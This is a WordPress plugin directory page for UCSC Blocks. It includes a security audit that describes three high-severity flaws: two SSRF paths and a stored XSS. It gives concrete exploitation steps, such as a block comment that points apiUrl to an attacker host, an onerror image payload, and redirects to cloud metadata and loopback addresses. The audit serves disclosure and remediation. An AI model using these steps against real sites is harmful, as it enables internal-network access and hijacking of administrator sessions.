WP Manifestindependent plugin directory
manifest / editor / ucsc-blocks

UCSC Blocks WP Registry grade D+. High-severity findings · 3 findingsWP RegistryHigh-severity findings · 3 findingsOpen the reportD+

Custom blocks for UCSC WordPress websites

★ 1stars
32release downloads
v3.0.0latest · 3mo ago

Install

Download ucsc-blocks.zip From the v3.0.0 release on GitHub, Jul 21, 2026

Upload it under Plugins → Add New Plugin → Upload Plugin, then activate.

Install straight from GitHub with WP-CLI:

wp plugin install https://github.com/ucsc/ucsc-blocks/releases/download/v3.0.0/ucsc-blocks.zip
Updates itself. It ships its own updater (Plugin Update Checker), so new versions appear under Dashboard → Updates.

Custom blocks for UCSC WordPress websites.

Documentation

Usage guides for the blocks in this plugin:

Changelog

See the CHANGELOG.md file.

Releases

6 releases. Each count is every asset in that release; expand a row for the breakdown.

Tag
Published
Assets
Downloads
v3.0.0 latest
Jul 21, 2026 3mo ago
ucsc-blocks.zip
5
May 8, 2026 5mo ago
ucsc-blocks.zip
3
Nov 7, 2025 11mo ago
ucsc-blocks.zip
20
Nov 5, 2025 11mo ago
ucsc-blocks.zip
2
Oct 13, 2025 1 year ago
ucsc-blocks.zip
1
Oct 13, 2025 1 year ago
ucsc-blocks.zip
1
D+ grade

Security

UCSC Blocks 3.0.0 · audited by WP Registry

High-severity findings.

3 high
Audited release
3.0.0
Findings
3
Worst severity
high
Content hash
f294d93608bf393311fe62a5…

Findings

  • high Contributor SSRF via events preview/legacy apiUrl (wp_remote_get, no host allowlist)

    ssrf

    wp_ajax_ucsc_events_preview (and frontend block render) rebuilds the fetch URL with ucsc_events_build_api_url(). When organizer IDs are empty, a POST/attribute apiUrl that passes FILTER_VALIDATE_URL is returned via esc_url_raw(..., array('http','https')) with no localhost, private-IP, link-local, or redirect checks — unlike the sibling calendar-feed validator. ucsc_events_fetch_data() then calls wp_remote_get() (not wp_safe_remote_get; reject_unsafe_urls defaults false; up to 5 redirects). The editor UI no longer exposes apiUrl, but the attribute remains in block.json, the minified editor script still appends api_url to the preview FormData, and a Contributor can POST the AJAX action directly using the nonce from ucscEventsData (enqueue_block_editor_assets) or from the front-end inline script on any page that contains the block. Concrete consequence: the WordPress server performs an attacker-chosen HTTP(S) GET to loopback, RFC1918, 169.254.169.254 (IMDSv1), or internal campus apps; JSON bodies with an events array are cached in transient ucsc_events_{md5} for HOUR_IN_SECONDS and re-emitted to the editor and to visitors of a published post. Capability is only edit_posts, so Contributor/Author succeed; Subscriber is blocked.

    build/blocks/ucsc-events/ucsc-events.php:86-110, 200-236, 506-535

    Recommendation

    Allowlist the fetch host to events.ucsc.edu (or the filtered ucsc_events_api_endpoints values). Drop support for arbitrary legacy apiUrl, or pass it through the same SSRF validator as the calendar block and fetch with wp_safe_remote_get() (reject_unsafe_urls, re-validate every redirect). Do not honor POST api_url unless it matches that allowlist.

  • high Calendar-feed SSRF checks bypassed by wp_remote_get redirects

    ssrf

    ucsc_calendar_feed_validate_feed_url() correctly requires https, rejects localhost/127.0.0.1/::1/0.0.0.0, and uses gethostbyname() plus FILTER_FLAG_NO_PRIV_RANGE|NO_RES_RANGE so a direct https://169.254.169.254/ feed is refused. The subsequent fetch ignores that guarantee: ucsc_calendar_feed_fetch_events() calls wp_remote_get() with default redirection=5 and reject_unsafe_urls=false. WP_Http::handle_redirects() then wp_remote_request()s the Location header without calling the plugin validator again. A Contributor (editor preview) or Author (published block) sets feedUrl to an attacker HTTPS host that 302s to http://127.0.0.1/, http://169.254.169.254/, or an RFC1918 admin UI; the WordPress host follows it. The same sink runs on every front-end cache miss (transient ucsc_cf_{md5}, 30 minutes) via render.php. Secondary bypass: DNS is checked once at validation time (TOCTOU / rebinding). Observable consequence: server-side GET to internal HTTP services from a URL the UI advertises as a public ICS feed; response body up to 2MB is parsed if it contains BEGIN:VCALENDAR.

    build/blocks/calendar-feed/calendar-feed.php:206-241, 276-292, 451-477

    Recommendation

    Replace wp_remote_get with wp_safe_remote_get() so every hop is passed through wp_http_validate_url(), or set redirection to 0 and require the ICS at the validated URL. Re-run ucsc_calendar_feed_validate_feed_url() on each Location if redirects must be followed. Prefer an allowlist of calendar hosts if the campus only uses known ICS providers.

  • high Stored editor XSS: attacker-controlled event titles assigned via innerHTML

    xss_stored

    ucsc_events_fetch_data() copies $item['title'] (and venue/link/image URL) into the transient with no sanitize_text_field/wp_kses. wp_ajax_ucsc_events_preview returns that array as JSON. The block editor then strips markup with a detached-div innerHTML assignment: J=e=>{const s=document.createElement("div");return s.innerHTML=e,s.textContent||s.innerText||""} and renders J(e.title). Assigning attacker HTML to innerHTML executes event-handler markup (e.g. <img src=x onerror=…>) even when the function later reads textContent. Combined with the apiUrl SSRF/fetch path, a Contributor saves <!-- wp:ucsc/events {"apiUrl":"https://attacker/events"} /--> (or POSTs api_url on preview). When an Editor/Administrator opens the post, the preview useEffect fetches the attacker JSON and the innerHTML sink runs in that privileged origin/session (cookies, REST nonce, ability to publish). Front-end render.php uses wp_kses_post on title/venue (HTML injection, not a second script sink). Calendar descriptions are kses'd to a short tag list before RawHTML and are not this bug.

    build/blocks/ucsc-events/index.js:1

    Recommendation

    Sanitize titles (and venue/organizer) with sanitize_text_field or wp_strip_all_tags before set_transient/wp_send_json_success. In the editor, decode entities with wp.element/textContent or wp.htmlEntities.decodeEntities — never innerHTML. Keep wp_kses_post on the front end only if HTML from the official campus API is required; otherwise esc_html.

WP Registry hashes the installable build and reports on that exact bytes-for-bytes copy. Embargoed findings are withheld until they are disclosed, so a clean verdict means nothing public is outstanding. WP Manifest does not audit code itself.